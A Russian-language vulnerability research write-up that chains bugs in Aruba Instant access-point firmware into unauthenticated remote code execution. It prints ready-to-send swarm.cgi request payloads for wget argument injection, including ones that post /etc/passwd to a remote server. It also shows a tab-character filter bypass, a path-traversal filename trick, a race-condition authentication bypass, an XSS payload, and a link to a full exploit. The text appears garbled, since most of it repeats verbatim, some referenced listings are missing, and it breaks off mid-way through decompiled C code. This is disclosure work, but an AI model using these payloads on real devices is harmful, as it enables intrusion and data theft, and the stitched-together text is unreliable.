Аруба: уязвимости в цепочках для фана и профита
Резюме:
Наше путешествие начинается в нашем офисе. Мы посмотрели в потолок и заметили точки доступа производства Aruba, которые обеспечивают нам доступ к сети. Мы начали задаваться вопросом: “Действительно ли мы в безопасности? Должны ли мы что-то сделать, чтобы обеспечить нашу конфиденциальность? ”
Что может быть лучшим способом узнать это, чем попытаться взломать наши собственные маршрутизаторы ?!
Aruba Instant - это прошивка для маршрутизаторов, производимых Aruba Networks. Маршрутизаторы с этой прошивкой в основном покупаются предприятиями (например, аэропортами, больницами, университетами, конференциями).
В этом посте будет рассказано об исследовании уязвимостей, проведенном в этом программном обеспечении, и будет показано, как мы добились неаутентифицированного RCE на этих устройствах, используя несколько уязвимостей.
Само устройство предоставляет настраиваемую ограниченную оболочку, которая не включает никаких инструментов исследования, поэтому нам пришлось найти другой способ ее отладки. Мы использовали среду эмуляции, которую мы создали ранее, и которая помогала нам эмулировать физические устройства.
Схема HTTP-сервера:
Чтобы полностью понять, как работают все уязвимости, нам сначала нужно обсудить, как наше устройство обрабатывает HTTP-запросы.
Каталог веб-сервера - это “/etc/httpd/”, и за обработку HTTP-запросов отвечают три разных двоичных файла:
- /usr/sbin/mini_httpd - это модифицированная версия проекта с открытым исходным кодом mini_httpd, в который Aruba добавила несколько настроек, поддерживающих новые функции.
- /aruba/bin/cli - этот двоичный файл обрабатывает основную логику маршрутизатора. Он получает сообщения от swarm.cgi через сокет Unix и реализует такую логику, как аутентификация, резервное копирование, обновления прошивки и т. д.
- /etc/httpd/swarm.cgi - это CGI, отвечающий за связь с двоичным файлом cli.
Когда пользователь хочет внести какие-либо изменения в маршрутизатор, он отправляет запрос GET / POST со специальным параметром, называемым “opcode” через swarm.cgi. Каждая функция имеет уникальное значение кода операции.
swarm.cgi перенаправляет каждый запрос пользователя в двоичный файл cli, который обрабатывает его и отвечает соответствующим образом. Большинство кодов операций требуют аутентификации пользователя. Когда вы входите в веб-интерфейс, генерируется токен sid, который с этого момента используется для аутентификации.
IPC - протокол PAPI:
Может возникнуть вопрос: как swarm.cgi взаимодействует с двоичным файлом cli?
Ответ на этот вопрос заключается в том, как процессы Aruba взаимодействуют друг с другом. Каждый процесс Aruba, реализующий IPC с другими процессами, создает сокет домена Unix в /tmp/.sock/ с форматом "<service> .sock".
Каждой услуге присвоен уникальный номер.
Когда процесс хочет отправить данные другому процессу, он просто отправляет данные через файл Unix другого процесса, используя специальный протокол, называемый PAPI.
swarm.cgi имеет обработчик для каждого кода операции. Когда конкретный обработчик хочет отправить данные в двоичный файл CLI, он отправляет сообщение PAPI через сокет Unix в соответствующий файл .sock cli.
Когда данные поступают в сокет cli, они проходят через диспетчер, который анализирует данные и отвечает соответствующим образом.
GUNZIP:
Все файлы в каталоге веб-сервера (за исключением двух файлов CGI) сжаты с помощью сжатия gzip и имеют расширение “.gz”.
Протокол HTTP определяет несколько полезных заголовков, один из которых - “Accept-Encoding”. Этот заголовок сообщает HTTP-серверу, какую кодировку поддерживает наш клиент. В нашей модифицированной версии mini_httpd HTTP-сервер может вести себя одним из двух способов:
1. Если браузер поддерживает кодировку “gzip”, тогда HTTP-сервер отправит файл как есть, и распаковка содержимого будет происходить в браузере.
2. Если браузер не поддерживает кодировку “gzip”, HTTP-сервер выполнит распаковку для клиента и вызовет системную команду, которая распакует и отправит содержимое пользователю.
В этом случае модифицированный mini_httpd использует команду gunzip для файла.
На этом этапе вам может быть интересно, можно ли запросить файл с сервера следующим образом:
GET /a;ps HTTP/1.1
По-видимому, нет! Перед распаковкой файла код сначала проверяет, существует ли файл. Если этого не происходит, он тихо выходит. Чтобы выполнить код через имя файла, у нас должен быть допустимый файл в каталоге http с нашей полезной нагрузкой.
ИНЪКЕЦИЯ АРГУМЕНТА:
При обращении прошивки и поиске других уязвимостей мы обнаружили новую функцию в двоичном файле cli, которая отвечает за обработку запроса на загрузку логотипа для адаптивного портала.
Вы когда-нибудь пытались получить доступ к сети Wi-Fi в отеле или аэропорту, и у вас появлялась веб-страница с просьбой сначала войти в систему? Это скрытый портал.
Точка доступа Aruba имеет функцию создания адаптивного портала для гостей, которые могут войти в вашу сеть. В этой службе есть функция, которая позволяет пользователю загружать логотип для веб-страницы адаптивного портала через URL-адрес.
Настройка нового логотипа выполняется через заблокированную консоль через SSH или Telnet. Сначала мы подключаемся к среде заключенной в тюрьму оболочки нашей точки доступа, а затем вводим команду “apply cplogo-install” (ссылка), которая получает один единственный параметр - URL-адрес FTP/HTTP.
Обработчик в двоичном файле cli принимает единственный аргумент - URL-адрес файла логотипа.
Функция форматирует наш ввод в команду wget и выполняет ее через system. Может показаться, что мы можем использовать это для ввода команд в систему, но на самом деле мы не можем этого сделать из-за функции swarm_url_valid.
swarm_url_valid:
Непосредственно перед тем, как наш URL-адрес передается в системную команду, он проходит через функцию swarm_url_valid, которая проверяет, содержит ли он запрещенные символы, согласно блеклисту.
В нашей полезной нагрузке не может быть ни одной из следующих строк:
Мы пробовали вводить команды, но с текущим фильтром символов мы чувствовали, что нужно искать в другом месте.
Что, если мы попытаемся ввести аргументы вместо отдельных команд и использовать функциональность wget?
Чтобы добавить аргументы в нашу команду, мы можем использовать пробел - символ, который не фильтруется. Это позволяет нам добавить в wget несколько интересных аргументов.
К счастью для нас, используется бинарный файл wget “GNU Wget 1.10.2 (Red Hat, измененный) ”, который является версией 2005 года, которая имеет больше возможностей, чем текущий wget busybox, несмотря на то, что она довольно древняя.
Вот некоторые аргументы, которые стоит упомянуть:
--post-file=FILE use the POST method; send contents of FILE.
-O, --output-document=FILE write documents to FILE.
-P, --directory-prefix=PREFIX save files to PREFIX/...
С первым аргументом мы можем отправить любой файл в файловой системе на удаленный сервер! Мы выполнили следующую команду через jailed cli:
apply cplogo-install "http://10.120.129.60:8888/asdasd.jpg --post-file=/etc/passwd "
И мы смогли получить /etc/passwd на нашем удаленном сервере!
Второй аргумент позволяет нам записывать произвольные файлы в файловую систему, полученную с наших серверов. И третий аргумент сохранит файлы, которые мы загружаем, в каталог PREFIX, и если этот каталог не существует, он создаст его! Позже мы увидим, как эта непонятная функциональность поможет нам в эксплуатации.
Но прежде чем мы продолжим, мы хотим найти путь к коду для активации этой уязвимости из веб-интерфейса.
В заблокированной консоли у нас есть команда “config”, которая позволит нам настроить точку доступа.
Например, чтобы открыть сервер Telnet на устройстве, мы можем выполнить следующие команды:
Команда “config” войдет в режим конфигурации. После внесения необходимых изменений в режим конфигурации нам нужно выйти из этого режима с помощью команды “end”. Все изменения не зафиксированы, и нам нужно зафиксировать их с помощью “commit apply”, чтобы изменения вступили в силу.
Одним из кодов операций swarm.cgi является config, который обычно вызывается при изменении конфигурации из веб-интерфейса устройства (например, изменение таблицы маршрутизации, изменение настроек DHCP-сервера и т. Д.).
Формат кода операции (где cmd - это команда, выполняемая в режиме конфигурации):
/swarm.cgi?opcode=config&ip=127.0.0.1&cmd='cmd%0Aexit%0A'&refresh=false&sid=SID&nocache=0.7172271061787647
Этот код операции будет выполнять параметр cmd, указанный пользователем в режиме конфигурации заблокированной консоли. Мы хотим запустить команду cplogo-install, которая находится на верхнем уровне иерархии дерева команд.
Чтобы добиться этого из веб-интерфейса, мы использовали функциональность команды config! Наша уловка заключалась в том, чтобы установить такую команду:
/swarm.cgi?opcode=config&ip=127.0.0.1&cmd='end%20%0Aapply%20cplogo-install%20"http://10.120.129.60:8888/test.txt%20--post-file=/etc/passwd%20#"'&refresh=false&sid=NCH9d1SQhRBTLXmrY6wP&nocache=0.23759201691110987&=
Во-первых, мы вырываемся из контекста конфигурации, как мы это делали ранее, с помощью команды “end”. Затем мы можем выполнить несколько команд, используя новый разделитель строк “% 0A” (новая строка закодирована). Теперь мы находимся на верхнем уровне иерархии команд и можем выполнять нашу команду из веб-интерфейса.
Патч:
Этот метод внедрения аргументов работал нормально, пока Aruba не выпустила обновление программного обеспечения для Aruba Instant. В обновлении одно из изменений коснулось функции “ swarm_url_valid” - функции, отвечающей за фильтрацию “ плохих” символов.
В обновлении были отфильтрованы дополнительные символы:
Один из новых отфильтрованных символов - пробел, что делает нашу полезную нагрузку бесполезной! Или нет?
Чтобы обойти новое ограничение и выполнить аргументы, как и раньше, мы заменили пробел (% 20) на символ табуляции (% 09)!
В ash busybox мы можем предоставить аргументы, разделенные пробелами или табуляциями. Мы использовали это, чтобы обойти фильтр и снова предоставить аргументы.
Помните, что фильтры swarm_url_valid применяются только к аргументу команды cplogo-install. Наша новая полезная нагрузка:
/swarm.cgi?opcode=config&ip=127.0.0.1&cmd='end%20%0Aapply%20cplogo-install%20"http://10.120.129.60:8888/test.txt%09--post-file=/etc/passwd%09#"'&refresh=false&sid=NCH9d1SQhRBTLXmrY6wP&nocache=0.23759201691110987&=
Загрузка произвольного имени файла:
Поскольку у нас есть инъекция команды gunzip, которая использует имя файла в качестве входных данных, единственное, что мешает нам выполнять произвольные команды, - это невозможность загрузить файл, имя которого мы можем контролировать. Для этого мы воспользуемся другой уязвимостью.
Мы не можем использовать –O в wget для загрузки вредоносного файла из-за символьного фильтра.
Мы заметили, что вы можете не только загрузить новый логотип на портал авторизации через URL-адрес, но и загрузить файл логотипа прямо со своего компьютера. Все, что вам нужно сделать, это отправить новый запрос в swarm.cgi с кодом операции “ cp-upload”.
Этот код операции имеет три параметра:
- тип файла
- сид
- upload_id
Мы заметили, что после любой попытки загрузить логотип создается файл журнала, показывающий, удалась ли загрузка. Имя файла журнала отформатировано с помощью snprintf:
snprintf(filename,0x100,"/tmp/oper_%s.log",upload_id_param);
Параметр upload_id_param форматируется в имени файла. После выполнения кода операции с upload_id = "test" мы заметили, что был создан файл /tmp/oper_test.log.
Сначала мы подумали о попытке выполнить обход пути, но имя файла в каталоге tmp - oper_% s, и в Linux, даже если у нас есть файл «oper_test.log» в каталоге tmp, мы можем выполнить обход пути только на каталоги.
Это, например, не сработает:
"/tmp/oper_test.log/../../../etc/passwd"
Если бы у нас был каталог, имя которого начиналось с “ oper_ ”, мы могли бы выполнять обход пути, используя этот каталог. Мы просмотрели каталог /tmp и не смогли его найти.
И, конечно же, мы не можем сами создать каталог, который начинается с “oper_” ... Ой, подождите, мы можем, используя нашу предыдущую уязвимость wget!
Вы помните последний аргумент, который загрузит новые файлы в нашу директорию префиксов? Мы можем использовать этот аргумент в нашей цепочке эксплойтов и создать в /tmp каталог с именем “/tmp/oper_ /”.
Поскольку теперь у нас есть каталог в / tmp, который начинается с oper_, мы можем добиться обхода пути. Например, указав строку “/../../etc/httpd/test.txt” в параметре upload_id_param.
Окончательное созданное имя файла - “/tmp/oper_/../../etc/httpd/test.txt.log”. Теперь мы можем создать файл с именем, указанным пользователем.
Осталась еще одна проблема: имя файла, которое мы создаем, заканчивается на .log, и наша инъекция команды gunzip работает только с файлами, заканчивающимися на .gz.
Чтобы решить эту проблему, мы использовали возможности snprintf в наших интересах. Определение функции snprintf:
int snprintf(char *str, size_t size, const char *format, ...);
Это отформатирует заданные аргументы с использованием формата, указанного в переменной ‘format’, в буфер ‘str’ до размера ‘size’. А если предоставленный формат с аргументами больше размера? Затем онаразрежет строку по индексу размера.
В Unix путь к файлу состоит из имен каталогов, разделенных символом ‘/’ (не имеет значения количество /) с именем файла в конце. Например, это, по сути, один и тот же файл:
/etc/passwd
//////etc/passwd
///////etc//////passwd
Мы можем использовать эту функцию, чтобы добавить заполнение к нашей полезной нагрузке и использовать snprintf, чтобы отключить .log в конце.
Наша полезная нагрузка без заполнения:
А с заполнением теперь мы можем отказаться от .log в конце.
Используя эту технику, теперь мы можем создать любое имя файла, какое захотим. Давайте попробуем использовать эту способность и создать файл, который будет эксплуатировать нашу уязвимость в виде архива.
Имя файла, которое мы выбрали для создания, “A’; ps # .gz ” в каталоге /etc/httpd/.
Теперь, когда у нас есть вредоносное имя файла, пора активировать ошибку с помощью простого запроса wget.
Обход аутентификации:
Мы можем запустить код на точке доступа с заданным sid или паролем администратора, но у злоумышленника, вероятно, не будет пароля администратора. Чтобы завершить наше исследование для полной неаутентифицированной цепочки, необходим обход аутентификации.
Мы обнаружили состояние гонки в swarm.cgi, в функции “process_msg_ref”, которая отвечает за отправку данных PAPI и чтение ответов из ссылки (удаленного http или локального файла).
Эта функция выделяет память для сообщения PAPI, отправляет его другой службе на устройстве и ожидает ответа. Когда доступен ответ, если он содержит “/tmp” в теле, он прочитает содержимое данного файла и вернет его.
Что, если бы у нас был способ отправить ответ быстрее, чем реальный сервис? Это может сработать, поскольку нет способа проверить отправителя сообщения PAPI.
Msghandler:
Msghandler - это процесс на устройстве, прослушивающем UDP-порт 8211. Эта служба является прокси-сервером для сообщений PAPI, который позволяет сообщениям PAPI от однорангового узла сети WIFI достигать внутренних служб на нашем устройстве.
Чтобы перенаправить сообщение PAPI во внутреннюю службу, просто отправьте данные сообщения PAPI на порт 8211 UDP, и msghandler доставит данные в нужную внутреннюю службу.
Структура пакета для msg_ref:
Мы написали скрипт Python, который отправляет поддельные ответы на пакеты PAPI в swarm.cgi, который дает указание нашему процессу прочитать другой файл, на этот раз “/tmp/../etc/passwd”.
Нам нужно было найти неаутентифицированный кодовый путь, который достигает этой функции, чтобы использовать ее без учетных данных. Что может быть лучшим кандидатом, чем одна из функций, отвечающих за аутентификацию?
Есть два основных способа аутентификации пользователя. Первый - через обычный экран входа в систему, который отправляет код операции входа через swarm.cgi, второй - через механизм единого входа.
Этот второй метод очень прост: просто отправьте правильный ключ в cli, и если он верен, cli ответит новым sid.
Эта функция использует “process_msg_ref”, поэтому вместо того, чтобы позволить cli ответить (сообщая нам, что мы предоставили неправильный ключ), мы ускорили ответ cli и дали swarm.cgi команду прочитать вместо этого /etc/passwd.
Теперь мы можем читать произвольные файлы из файловой системы!
Чтение /etc/passwd не помогает нам обойти аутентификацию. Мы нашли еще один файл, из которого было бы легче читать.
Выбран файл /tmp/cfg-plaintext, этот файл содержит всю конфигурацию маршрутизатора в одном файле.
Хотя Aruba начала хешировать пароль в недавнем обновлении прошивки, когда мы обращались к файлу на нашей точке доступа (на которой установлена последняя версия прошивки), пароль был открытым текстом (очевидно, проблема со старой конфигурацией маршрутизатора).
Если наша точка доступа имеет старую конфигурацию открытого текста на последней прошивке, кто знает, сколько еще существует?
mgmt-user admin XXXXXXXXX (censored password in plaintext)
Мы решили прочитать файл конфигурации и извлечь наш пароль из этой строки.
Поскольку у нас есть имя пользователя и пароль для точки доступа, теперь мы можем сгенерировать собственный sid и завершить неаутентифицированную цепочку RCE, чтобы получить корневую оболочку на устройстве!
Демо:
Soundtrack: drozerix - crush
Полный рабочий эксплойт можно найти здесь https://github.com/alephsecurity/research/blob/master/PoCs/Aruba/full_rce.py
Другие уязвимости:
В дополнение к указанной выше цепочке RCE мы также обнаружили несколько других уязвимостей.
ИНЪЕКЦИЯ АРГУМЕНТА:
Мы обнаружили еще одну уязвимость внедрения аргументов в двоичном файле cli.
Во время раскрытия информации с Aruba мы обнаружили, что уязвимость также была обнаружена в то же время через их программу вознаграждения за ошибки.
В веб-интерфейсе есть функция, позволяющая обновлять прошивку либо из файла изображения, либо по URL-адресу. Когда мы предоставляем URL-адрес для обновления, будет создан запрос POST для swarm.cgi с соответствующим кодом операции для обновления изображения через URL-адрес.
/swarm.cgi?opcode=image-url-upgrade&ip=127.0.0.1&oper_id=5CFB3AB6-BDFD-4CE2-9C4D-3B0FA0BE56CB&image_url=Taurus@a&auto_reboot=true&refresh=false&sid=SID&nocache=0.3570383838714152
Этот запрос будет отправлен на “cli ”, в cli обработчик image-url-upgrade вызовет скрипт /aruba/bin/download_image_swarm с нашим URL-адресом в качестве входных данных.
Сценарий примет наш параметр прямо в команду wget, мы также можем вставить сюда аргументы, минуя swarm_url_valid с помощью символа табуляции!
XSS CVE-2021-25161:
Изучая работу адаптивного портала, мы обнаружили уязвимость межсайтового скриптинга в функциональности, отвечающей за предварительный просмотр пользовательского адаптивного портала.
Этот код операции получит несколько параметров, которые отражаются в ответе, мы можем выполнить простой запрос для запуска xss (конечно, с правильным SID).
/swarm.cgi?opcode=cp_preview&bg_color=AA&banner_color=B&banner_text=AAA&terms_of_use=AAA&use_policy=BBB&authenticated=False&decoded_texts=';%0Aalert("test");//&sid=SID
Выводы:
Это было забавное и захватывающее исследование уязвимостей, в ходе которого мы объединили несколько уязвимостей вместе, чтобы получить полную неаутентифицированную цепочку RCE на наших собственных маршрутизаторах.
Использованная литература:
packetstormsecurity.com
Резюме:
Наше путешествие начинается в нашем офисе. Мы посмотрели в потолок и заметили точки доступа производства Aruba, которые обеспечивают нам доступ к сети. Мы начали задаваться вопросом: “Действительно ли мы в безопасности? Должны ли мы что-то сделать, чтобы обеспечить нашу конфиденциальность? ”
Что может быть лучшим способом узнать это, чем попытаться взломать наши собственные маршрутизаторы ?!
Aruba Instant - это прошивка для маршрутизаторов, производимых Aruba Networks. Маршрутизаторы с этой прошивкой в основном покупаются предприятиями (например, аэропортами, больницами, университетами, конференциями).
В этом посте будет рассказано об исследовании уязвимостей, проведенном в этом программном обеспечении, и будет показано, как мы добились неаутентифицированного RCE на этих устройствах, используя несколько уязвимостей.
Само устройство предоставляет настраиваемую ограниченную оболочку, которая не включает никаких инструментов исследования, поэтому нам пришлось найти другой способ ее отладки. Мы использовали среду эмуляции, которую мы создали ранее, и которая помогала нам эмулировать физические устройства.
Схема HTTP-сервера:
Чтобы полностью понять, как работают все уязвимости, нам сначала нужно обсудить, как наше устройство обрабатывает HTTP-запросы.
Каталог веб-сервера - это “/etc/httpd/”, и за обработку HTTP-запросов отвечают три разных двоичных файла:
- /usr/sbin/mini_httpd - это модифицированная версия проекта с открытым исходным кодом mini_httpd, в который Aruba добавила несколько настроек, поддерживающих новые функции.
- /aruba/bin/cli - этот двоичный файл обрабатывает основную логику маршрутизатора. Он получает сообщения от swarm.cgi через сокет Unix и реализует такую логику, как аутентификация, резервное копирование, обновления прошивки и т. д.
- /etc/httpd/swarm.cgi - это CGI, отвечающий за связь с двоичным файлом cli.
Когда пользователь хочет внести какие-либо изменения в маршрутизатор, он отправляет запрос GET / POST со специальным параметром, называемым “opcode” через swarm.cgi. Каждая функция имеет уникальное значение кода операции.
swarm.cgi перенаправляет каждый запрос пользователя в двоичный файл cli, который обрабатывает его и отвечает соответствующим образом. Большинство кодов операций требуют аутентификации пользователя. Когда вы входите в веб-интерфейс, генерируется токен sid, который с этого момента используется для аутентификации.
IPC - протокол PAPI:
Может возникнуть вопрос: как swarm.cgi взаимодействует с двоичным файлом cli?
Ответ на этот вопрос заключается в том, как процессы Aruba взаимодействуют друг с другом. Каждый процесс Aruba, реализующий IPC с другими процессами, создает сокет домена Unix в /tmp/.sock/ с форматом "<service> .sock".
Каждой услуге присвоен уникальный номер.
Когда процесс хочет отправить данные другому процессу, он просто отправляет данные через файл Unix другого процесса, используя специальный протокол, называемый PAPI.
swarm.cgi имеет обработчик для каждого кода операции. Когда конкретный обработчик хочет отправить данные в двоичный файл CLI, он отправляет сообщение PAPI через сокет Unix в соответствующий файл .sock cli.
Когда данные поступают в сокет cli, они проходят через диспетчер, который анализирует данные и отвечает соответствующим образом.
GUNZIP:
Все файлы в каталоге веб-сервера (за исключением двух файлов CGI) сжаты с помощью сжатия gzip и имеют расширение “.gz”.
Протокол HTTP определяет несколько полезных заголовков, один из которых - “Accept-Encoding”. Этот заголовок сообщает HTTP-серверу, какую кодировку поддерживает наш клиент. В нашей модифицированной версии mini_httpd HTTP-сервер может вести себя одним из двух способов:
1. Если браузер поддерживает кодировку “gzip”, тогда HTTP-сервер отправит файл как есть, и распаковка содержимого будет происходить в браузере.
2. Если браузер не поддерживает кодировку “gzip”, HTTP-сервер выполнит распаковку для клиента и вызовет системную команду, которая распакует и отправит содержимое пользователю.
В этом случае модифицированный mini_httpd использует команду gunzip для файла.
На этом этапе вам может быть интересно, можно ли запросить файл с сервера следующим образом:
GET /a;ps HTTP/1.1
По-видимому, нет! Перед распаковкой файла код сначала проверяет, существует ли файл. Если этого не происходит, он тихо выходит. Чтобы выполнить код через имя файла, у нас должен быть допустимый файл в каталоге http с нашей полезной нагрузкой.
ИНЪКЕЦИЯ АРГУМЕНТА:
При обращении прошивки и поиске других уязвимостей мы обнаружили новую функцию в двоичном файле cli, которая отвечает за обработку запроса на загрузку логотипа для адаптивного портала.
Вы когда-нибудь пытались получить доступ к сети Wi-Fi в отеле или аэропорту, и у вас появлялась веб-страница с просьбой сначала войти в систему? Это скрытый портал.
Точка доступа Aruba имеет функцию создания адаптивного портала для гостей, которые могут войти в вашу сеть. В этой службе есть функция, которая позволяет пользователю загружать логотип для веб-страницы адаптивного портала через URL-адрес.
Настройка нового логотипа выполняется через заблокированную консоль через SSH или Telnet. Сначала мы подключаемся к среде заключенной в тюрьму оболочки нашей точки доступа, а затем вводим команду “apply cplogo-install” (ссылка), которая получает один единственный параметр - URL-адрес FTP/HTTP.
Обработчик в двоичном файле cli принимает единственный аргумент - URL-адрес файла логотипа.
Функция форматирует наш ввод в команду wget и выполняет ее через system. Может показаться, что мы можем использовать это для ввода команд в систему, но на самом деле мы не можем этого сделать из-за функции swarm_url_valid.
swarm_url_valid:
Непосредственно перед тем, как наш URL-адрес передается в системную команду, он проходит через функцию swarm_url_valid, которая проверяет, содержит ли он запрещенные символы, согласно блеклисту.
В нашей полезной нагрузке не может быть ни одной из следующих строк:
Мы пробовали вводить команды, но с текущим фильтром символов мы чувствовали, что нужно искать в другом месте.
Что, если мы попытаемся ввести аргументы вместо отдельных команд и использовать функциональность wget?
Чтобы добавить аргументы в нашу команду, мы можем использовать пробел - символ, который не фильтруется. Это позволяет нам добавить в wget несколько интересных аргументов.
К счастью для нас, используется бинарный файл wget “GNU Wget 1.10.2 (Red Hat, измененный) ”, который является версией 2005 года, которая имеет больше возможностей, чем текущий wget busybox, несмотря на то, что она довольно древняя.
Вот некоторые аргументы, которые стоит упомянуть:
--post-file=FILE use the POST method; send contents of FILE.
-O, --output-document=FILE write documents to FILE.
-P, --directory-prefix=PREFIX save files to PREFIX/...
С первым аргументом мы можем отправить любой файл в файловой системе на удаленный сервер! Мы выполнили следующую команду через jailed cli:
apply cplogo-install "http://10.120.129.60:8888/asdasd.jpg --post-file=/etc/passwd "
И мы смогли получить /etc/passwd на нашем удаленном сервере!
Второй аргумент позволяет нам записывать произвольные файлы в файловую систему, полученную с наших серверов. И третий аргумент сохранит файлы, которые мы загружаем, в каталог PREFIX, и если этот каталог не существует, он создаст его! Позже мы увидим, как эта непонятная функциональность поможет нам в эксплуатации.
Но прежде чем мы продолжим, мы хотим найти путь к коду для активации этой уязвимости из веб-интерфейса.
В заблокированной консоли у нас есть команда “config”, которая позволит нам настроить точку доступа.
Например, чтобы открыть сервер Telnet на устройстве, мы можем выполнить следующие команды:
Команда “config” войдет в режим конфигурации. После внесения необходимых изменений в режим конфигурации нам нужно выйти из этого режима с помощью команды “end”. Все изменения не зафиксированы, и нам нужно зафиксировать их с помощью “commit apply”, чтобы изменения вступили в силу.
Одним из кодов операций swarm.cgi является config, который обычно вызывается при изменении конфигурации из веб-интерфейса устройства (например, изменение таблицы маршрутизации, изменение настроек DHCP-сервера и т. Д.).
Формат кода операции (где cmd - это команда, выполняемая в режиме конфигурации):
/swarm.cgi?opcode=config&ip=127.0.0.1&cmd='cmd%0Aexit%0A'&refresh=false&sid=SID&nocache=0.7172271061787647
Этот код операции будет выполнять параметр cmd, указанный пользователем в режиме конфигурации заблокированной консоли. Мы хотим запустить команду cplogo-install, которая находится на верхнем уровне иерархии дерева команд.
Чтобы добиться этого из веб-интерфейса, мы использовали функциональность команды config! Наша уловка заключалась в том, чтобы установить такую команду:
/swarm.cgi?opcode=config&ip=127.0.0.1&cmd='end%20%0Aapply%20cplogo-install%20"http://10.120.129.60:8888/test.txt%20--post-file=/etc/passwd%20#"'&refresh=false&sid=NCH9d1SQhRBTLXmrY6wP&nocache=0.23759201691110987&=
Во-первых, мы вырываемся из контекста конфигурации, как мы это делали ранее, с помощью команды “end”. Затем мы можем выполнить несколько команд, используя новый разделитель строк “% 0A” (новая строка закодирована). Теперь мы находимся на верхнем уровне иерархии команд и можем выполнять нашу команду из веб-интерфейса.
Патч:
Этот метод внедрения аргументов работал нормально, пока Aruba не выпустила обновление программного обеспечения для Aruba Instant. В обновлении одно из изменений коснулось функции “ swarm_url_valid” - функции, отвечающей за фильтрацию “ плохих” символов.
В обновлении были отфильтрованы дополнительные символы:
Один из новых отфильтрованных символов - пробел, что делает нашу полезную нагрузку бесполезной! Или нет?
Чтобы обойти новое ограничение и выполнить аргументы, как и раньше, мы заменили пробел (% 20) на символ табуляции (% 09)!
В ash busybox мы можем предоставить аргументы, разделенные пробелами или табуляциями. Мы использовали это, чтобы обойти фильтр и снова предоставить аргументы.
Помните, что фильтры swarm_url_valid применяются только к аргументу команды cplogo-install. Наша новая полезная нагрузка:
/swarm.cgi?opcode=config&ip=127.0.0.1&cmd='end%20%0Aapply%20cplogo-install%20"http://10.120.129.60:8888/test.txt%09--post-file=/etc/passwd%09#"'&refresh=false&sid=NCH9d1SQhRBTLXmrY6wP&nocache=0.23759201691110987&=
Загрузка произвольного имени файла:
Поскольку у нас есть инъекция команды gunzip, которая использует имя файла в качестве входных данных, единственное, что мешает нам выполнять произвольные команды, - это невозможность загрузить файл, имя которого мы можем контролировать. Для этого мы воспользуемся другой уязвимостью.
Мы не можем использовать –O в wget для загрузки вредоносного файла из-за символьного фильтра.
Мы заметили, что вы можете не только загрузить новый логотип на портал авторизации через URL-адрес, но и загрузить файл логотипа прямо со своего компьютера. Все, что вам нужно сделать, это отправить новый запрос в swarm.cgi с кодом операции “ cp-upload”.
Этот код операции имеет три параметра:
- тип файла
- сид
- upload_id
Мы заметили, что после любой попытки загрузить логотип создается файл журнала, показывающий, удалась ли загрузка. Имя файла журнала отформатировано с помощью snprintf:
snprintf(filename,0x100,"/tmp/oper_%s.log",upload_id_param);
Параметр upload_id_param форматируется в имени файла. После выполнения кода операции с upload_id = "test" мы заметили, что был создан файл /tmp/oper_test.log.
Сначала мы подумали о попытке выполнить обход пути, но имя файла в каталоге tmp - oper_% s, и в Linux, даже если у нас есть файл «oper_test.log» в каталоге tmp, мы можем выполнить обход пути только на каталоги.
Это, например, не сработает:
"/tmp/oper_test.log/../../../etc/passwd"
Если бы у нас был каталог, имя которого начиналось с “ oper_ ”, мы могли бы выполнять обход пути, используя этот каталог. Мы просмотрели каталог /tmp и не смогли его найти.
И, конечно же, мы не можем сами создать каталог, который начинается с “oper_” ... Ой, подождите, мы можем, используя нашу предыдущую уязвимость wget!
Вы помните последний аргумент, который загрузит новые файлы в нашу директорию префиксов? Мы можем использовать этот аргумент в нашей цепочке эксплойтов и создать в /tmp каталог с именем “/tmp/oper_ /”.
Поскольку теперь у нас есть каталог в / tmp, который начинается с oper_, мы можем добиться обхода пути. Например, указав строку “/../../etc/httpd/test.txt” в параметре upload_id_param.
Окончательное созданное имя файла - “/tmp/oper_/../../etc/httpd/test.txt.log”. Теперь мы можем создать файл с именем, указанным пользователем.
Осталась еще одна проблема: имя файла, которое мы создаем, заканчивается на .log, и наша инъекция команды gunzip работает только с файлами, заканчивающимися на .gz.
Чтобы решить эту проблему, мы использовали возможности snprintf в наших интересах. Определение функции snprintf:
int snprintf(char *str, size_t size, const char *format, ...);
Это отформатирует заданные аргументы с использованием формата, указанного в переменной ‘format’, в буфер ‘str’ до размера ‘size’. А если предоставленный формат с аргументами больше размера? Затем онаразрежет строку по индексу размера.
В Unix путь к файлу состоит из имен каталогов, разделенных символом ‘/’ (не имеет значения количество /) с именем файла в конце. Например, это, по сути, один и тот же файл:
/etc/passwd
//////etc/passwd
///////etc//////passwd
Мы можем использовать эту функцию, чтобы добавить заполнение к нашей полезной нагрузке и использовать snprintf, чтобы отключить .log в конце.
Наша полезная нагрузка без заполнения:
А с заполнением теперь мы можем отказаться от .log в конце.
Используя эту технику, теперь мы можем создать любое имя файла, какое захотим. Давайте попробуем использовать эту способность и создать файл, который будет эксплуатировать нашу уязвимость в виде архива.
Имя файла, которое мы выбрали для создания, “A’; ps # .gz ” в каталоге /etc/httpd/.
Теперь, когда у нас есть вредоносное имя файла, пора активировать ошибку с помощью простого запроса wget.
Обход аутентификации:
Мы можем запустить код на точке доступа с заданным sid или паролем администратора, но у злоумышленника, вероятно, не будет пароля администратора. Чтобы завершить наше исследование для полной неаутентифицированной цепочки, необходим обход аутентификации.
Мы обнаружили состояние гонки в swarm.cgi, в функции “process_msg_ref”, которая отвечает за отправку данных PAPI и чтение ответов из ссылки (удаленного http или локального файла).
C:
1char * process_msg_ref(void *param_1,size_t param_2,int param_3,int param_4,ushort param_5,
undefined2 param_6)
{
char *__s;
char *__ptr;
char *local_2c4;
size_t msg_ref_len;
char msg_ref_body [256];
char acStack280 [232];
...
...
if (DAT_0001e99c != 0) {
...
...
...
PAPI packet setup
...
...
...
iVar3 = PAPI_Send(DAT_0001e99c,0,iVar2,param_2 + 0x4c);
if (0 < iVar3) {
PAPI_Free(DAT_0001e99c,iVar2);
__s = (char *)(iVar3 + 0x4c);
msg_ref_len = 0;
if (__s != (char *)0x0) {
__s = strdup(__s);
iVar2 = sscanf(__s,"msg_ref %u %s",&msg_ref_len,msg_ref_body);
if ((iVar2 == 2) && (msg_ref_len != 0)) {
local_2c4 = msg_ref_body;
syslog(7,"%s: %d: got msg_ref of len %u and body \'%s\'","process_msg_ref",0x16,msg_ref_len,msg_ref_body);
sVar4 = msg_ref_len - 1;
__ptr = (char *)malloc(msg_ref_len);
if (__ptr != (char *)0x0) {
msg_ref_len = sVar4;
iVar2 = strncmp(msg_ref_body,"http://",7);
if (iVar2 == 0) {
...
...
...
//Handle http case
...
...
...
}
else {
iVar2 = strncmp(msg_ref_body,"/tmp/",5);
if (iVar2 == 0) {
